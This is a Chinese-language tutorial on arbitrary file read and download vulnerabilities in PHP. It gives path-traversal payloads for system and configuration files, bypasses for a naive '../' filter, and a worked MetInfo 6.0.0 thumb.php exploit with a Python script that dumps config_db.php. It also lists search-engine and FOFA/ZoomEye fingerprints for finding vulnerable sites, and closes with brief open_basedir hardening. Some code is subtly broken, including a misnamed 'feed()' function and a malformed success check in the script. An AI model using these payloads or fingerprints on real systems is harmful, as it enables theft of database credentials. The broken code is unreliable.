一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。
任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。
不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:
下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。
可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。
任意文件读取与下载重点关注的文件:
以PHP脚本为例子,有一些函数可以实现文件读取功能。
读取文件的函数 | 函数特点 |
---|---|
readfile() | 直接读取文件内容 自带输出功能 |
feed() | 直接读取文件内容 需要输出读取内容 |
fread() | 打开文件 计算文件大小 读取文件 输出文件 关闭文件 |
函数具体介绍:PHP: Hypertext Preprocessor。
实验环境在phpstudy的www目录下创建一个file-read目录,在目录中创建一下php文件。
readfile:
// readfile.php
<?php
$fp = "../phpinfo.php";
readfile($fp);
?>
访问页面,查看页面源代码,读取成功。
file_get_contents:
// file_get_contents.php
<?php
$fp = "../phpinfo.php";
echo file_get_contents($fp);
?>
访问页面,查看页面源代码,读取成功。
fread:
// fread.php
<?php
$fp = "../phpinfo.php";
$f = fopen($fp,'r'); //打开文件
$f_size = filesize($fp); //计算文件大小
echo fread($f, $f_size); //读取文件内容并输出到页面上
fclose($f);
?>
访问页面,查看页面源代码,读取成功。
变量$fp,会捕获GET方式传递过来的filepath参数。
$fp = @$_GET['filepath'];
filepath客户端可控,并且没有经过校验,会造成任意文件读取漏洞。
?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini
?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
?filePath=../../../../../../etc/hosts
直接下载:例如图片另存为。
a标签下载:
<a href = './a.jpg'>IMG Download</a>
PHP文件下载实现过程:
// file-download.php
<?php
$fp = './a.jpg';
header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp));
readfile($fp);
?>
任意文件下载的条件:
$fp = $_GET['filepath'];
实验:
$fp = $_GET['filepath'];
// header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp));
readfile($fp);
?>
下载成功
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp);
readfile($fp);
?>
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
?filepath=c:/windows\system32\drivers\etc\hosts
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
设置只能访问a,b,cPHP文件
$fp = @$_GET['filepath'];
if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){
readfile($fp);
}else{
echo "Please stop!";
}
?>
从文件名上看 | 从参数名上看 |
---|---|
readfile.php filedownload.php filelist.php |
f= file= filepath= fp= readfile= path= readpath= url= menu= META-INF= WEB-INF= content= |
下载链接:MetInfo历史版本与文件。
说明 | 内容 |
---|---|
漏洞编号 | – |
漏洞名称 | MetInfo 6.0.0 任意文件读取漏洞 |
漏洞评级 | 高危 |
影响范围 | MetInfo 6.0.0 |
漏洞描述 | MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。 |
修复方案 | 打补丁 升级 上设备 |
MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php
文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
高危
MetInfo 6.0.0
基础环境
组件 | 版本 |
---|---|
OS | Microsoft Windows Server 2016 Standard |
Web Server | phpStudy 2016 |
MetInfo | 6.0.0 |
安装过程
访问页面
漏洞点
/include/thumb.php
页面访问该路径
http://127.0.0.1/MetInfo_6.0.0/include/thumb.php
使用bp抓包查看,bp是默认不抓图片的包,这里修改配置。
将抓取到的数据包右键发送到重发器上。
第一次测试
/include/thumb.php?dir=..././http/..././config/config_db.php
第二次测试
/include/thumb.php?dir=.....///http/.....///config/config_db.php
第三次测试
/include/thumb.php?dir=http/.....///.....///config/config_db.php
第四次测试
/include/thumb.php?dir=http\..\..\config\config_db.php
注意:
漏洞点产生位置在thumb.php文件
加载old_thumb类
说明:这里的防守做两步判断
将…/和./全部过滤为空。
if判断前四个字符必须是http,并且计算./的位置,也就是提交的dir变量中是否有./的出现,如果没有出现返回false。
readfile():任意文件读取函数
dir这个读取文件的路径客户端可控,但是不完全可控,限制可以被绕过。
exp编写
import requests
import sys
banner = """
MetInfo 6.0.0
___________.__.__ __________ .___
\_ _____/|__| | ____ \______ \ ____ _____ __| _/
| __) | | | _/ __ \ | _// __ \\__ \ / __ |
| \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ |
\___ / |__|____/\___ > |____|_ /\___ >____ /\____ |
\/ \/ \/ \/ \/ \/
Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}
dir_list = [
"..././http/..././config/config_db.php",
".....///http/.....///config/config_db.php",
"http/.....///.....///config/config_db.php",
"http\..\..\config\config_db.php"
]
def attack(host):
vul = "/include/thumb.php"
url = host + vul
res = requests.get(url = url, headers = headers)
if res.status_code != 200:
print(f"[INFO] {vul} is Not Exists!")
exit()
print(f"[INFO] {vul} is Exists!")
for param in dir_list:
params = {
"dir": param
}
res = requests.get(url = url, params = params, headers = headers)
print(f"[INFO] Test URL: {res.url}")
if " in res.text:
print("[RESULT] The target is vulnreable!")
print(f"[RESULT]\n{res.text}")
break
if len(sys.argv) < 2:
print(banner)
exit()
host = sys.argv[1]
attack(host = host)
漏洞挖掘
指纹信息
传统搜索引擎
Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"
FOFA
app="metinfo"
ZoomEye
app:"MetInfo"
app:"MetInfo"+os:"Windows"
让用户不能访问Web根目录以外的路径。
php.ini配置文件中,可以通过选项open_basedir来限定文件访问的范围。
open_basedir = C:\software\phpstudy_pro\WWW
实验
不做限定的情况:
做限定的情况:
但是这样还有读取到当前的配置文件。
解决方式:所有的修复方案需要配合使用。